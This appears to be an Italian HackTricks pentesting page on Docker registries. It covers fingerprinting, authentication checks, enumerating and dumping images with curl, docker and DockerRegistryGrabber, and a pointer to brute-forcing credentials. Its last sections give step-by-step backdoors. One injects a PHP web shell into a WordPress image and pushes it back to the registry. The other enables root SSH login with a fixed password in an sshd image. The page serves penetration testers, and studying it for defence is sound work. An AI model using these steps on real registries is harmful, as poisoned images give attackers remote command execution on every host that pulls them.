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# 5000 - Pentesting Docker Registry
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{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
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< details >
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< summary > Support HackTricks< / summary >
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< / details >
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{% endhint %}
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## Informazioni di base
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Un sistema di archiviazione e distribuzione noto come **Docker registry** è in atto per le immagini Docker che sono nominate e possono avere più versioni, distinte da tag. Queste immagini sono organizzate all'interno di **Docker repositories** nel registry, ciascun repository memorizzando varie versioni di una specifica immagine. La funzionalità fornita consente di scaricare immagini localmente o caricarle nel registry, a condizione che l'utente abbia le autorizzazioni necessarie.
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**DockerHub** funge da registry pubblico predefinito per Docker, ma gli utenti hanno anche la possibilità di gestire una versione on-premise del registry/distribuzione open-source di Docker o optare per il **Docker Trusted Registry** supportato commercialmente. Inoltre, possono essere trovati online vari altri registry pubblici.
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Per scaricare un'immagine da un registry on-premise, viene utilizzato il seguente comando:
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```bash
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docker pull my-registry:9000/foo/bar:2.1
```
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Questo comando recupera l'immagine `foo/bar` versione `2.1` dal registro on-premise nel dominio `my-registry` sulla porta `9000` . Al contrario, per scaricare la stessa immagine da DockerHub, in particolare se `2.1` è l'ultima versione, il comando si semplifica a:
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```bash
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docker pull foo/bar
```
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**Porta predefinita:** 5000
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```
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PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
```
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## Scoperta
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Il modo più semplice per scoprire questo servizio in esecuzione è ottenerlo nell'output di nmap. Comunque, nota che essendo un servizio basato su HTTP, potrebbe essere dietro proxy HTTP e nmap non lo rileverà.\
Alcuni fingerprint:
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* Se accedi a `/` nulla viene restituito nella risposta
* Se accedi a `/v2/` allora `{}` viene restituito
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* Se accedi a `/v2/_catalog` potresti ottenere:
* `{"repositories":["alpine","ubuntu"]}`
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
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## Enumerazione
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### HTTP/HTTPS
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Il registro Docker può essere configurato per utilizzare **HTTP** o **HTTPS** . Quindi la prima cosa che potresti dover fare è **scoprire quale** è configurato:
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```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
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Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
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Warning: < FILE > " to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
```
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### Authentication
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Il registro Docker può anche essere configurato per richiedere **authentication** :
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```bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}
```
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Se il Docker Registry richiede autenticazione, puoi [**provare a forzarlo utilizzando questo** ](../generic-methodologies-and-resources/brute-force.md#docker-registry ).\
**Se trovi credenziali valide, dovrai usarle** per enumerare il registry, in `curl` puoi usarle in questo modo:
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```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```
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### Enumerazione usando DockerRegistryGrabber
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[DockerRegistryGrabber ](https://github.com/Syzik/DockerRegistryGrabber ) è uno strumento python per enumerare / scaricare il registro docker (senza o con autenticazione di base)
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```bash
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usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
____ ____ ____
| _ \ | _ \ / ___|
| | | || |_) || | _
| |_| || _ < | |_ | |
|____/ |_| \_\ \____|
Docker Registry grabber tool v2
by @SyzikSecu
positional arguments:
url URL
options:
-h, --help show this help message and exit
-p port port to use (default : 5000)
Authentication:
-U USERNAME Username
-P PASSWORD Password
-A header Authorization bearer token
Actions:
--list
--dump_all
--dump DOCKERNAME DockerName
Example commands:
python drg.py http://127.0.0.1 --list
python drg.py http://127.0.0.1 --dump my-ubuntu
python drg.py http://127.0.0.1 --dump_all
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
python drg.py https://127.0.0.1 -A '< Auth BEARER TOKEN > ' --list
python drg.py https://127.0.0.1 -A '< Auth BEARER TOKEN > ' --dump my-ubuntu
python drg.py https://127.0.0.1 -A '< Auth BEARER TOKEN > ' --dump_all
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python3 DockerGraber.py http://127.0.0.1 --list
[+] my-ubuntu
[+] my-ubuntu2
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python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
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[+] blobSum found 5
[+] Dumping my-ubuntu
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[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
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python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] my-ubuntu
[+] my-ubuntu2
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[+] blobSum found 5
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[+] Dumping my-ubuntu
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[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
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[+] blobSum found 5
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[+] Dumping my-ubuntu2
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[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
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```
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### Enumeration using curl
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Una volta che **hai ottenuto accesso al docker registry** , ecco alcuni comandi che puoi utilizzare per enumerarlo:
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```bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}
#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
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"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
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}
#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
```
{% hint style="warning" %}
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Nota che quando scarichi e decomprimi i file e le cartelle dei blobs appariranno nella directory corrente. **Se scarichi tutti i blobs e li decomprimi nella stessa cartella, sovrascriveranno i valori dei blobs precedentemente decompressi** , quindi fai attenzione. Potrebbe essere interessante decomprimere ogni blob all'interno di una cartella diversa per ispezionare il contenuto esatto di ogni blob.
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{% endhint %}
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### Enumerazione utilizzando docker
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```bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu
#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE CREATED CREATED BY SIZE COMMENT
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#ed05bef01522 2 years ago ./run.sh 46.8MB
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
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#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
```
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### Backdooring WordPress image
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Nello scenario in cui hai trovato un Docker Registry che salva un'immagine di wordpress, puoi inserire un backdoor.\
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**Crea** il **backdoor** :
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{% code title="shell.php" %}
```bash
<?php echo shell_exec($_GET["cmd"]); ?>
```
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{% endcode %}
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Crea un **Dockerfile** :
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{% code title="Dockerfile" %}
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```bash
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
```
{% endcode %}
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**Crea** la nuova immagine, **controlla** che sia stata creata e **invia** :
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```bash
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docker build -t 10.10.10.10:5000/wordpress .
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#Create
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docker images
docker push registry:5000/wordpress #Push it
```
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### Backdooring SSH server image
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Supponiamo che tu abbia trovato un Docker Registry con un'immagine SSH e desideri backdoorarla.\
**Scarica** l'immagine e **eseguila** :
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```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
```
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Estrai il file `sshd_config` dall'immagine SSH:
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```bash
docker cp 4c989242c714:/etc/ssh/sshd_config .
```
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E modificalo per impostare: `PermitRootLogin yes`
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Crea un **Dockerfile** simile al seguente:
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{% tabs %}
{% tab title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
```
{% endtab %}
{% endtabs %}
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**Crea** la nuova immagine, **controlla** che sia stata creata e **invia** :
```bash
docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
```
## Riferimenti
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/ ](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/ )
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{% hint style="success" %}
Impara e pratica AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Impara e pratica GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
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< details >
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< summary > Supporta HackTricks< / summary >
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* Controlla i [**piani di abbonamento** ](https://github.com/sponsors/carlospolop )!
* **Unisciti al** 💬 [**gruppo Discord** ](https://discord.gg/hRep4RUj7f ) o al [**gruppo telegram** ](https://t.me/peass ) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) repos di github.
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< / details >
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{% endhint %}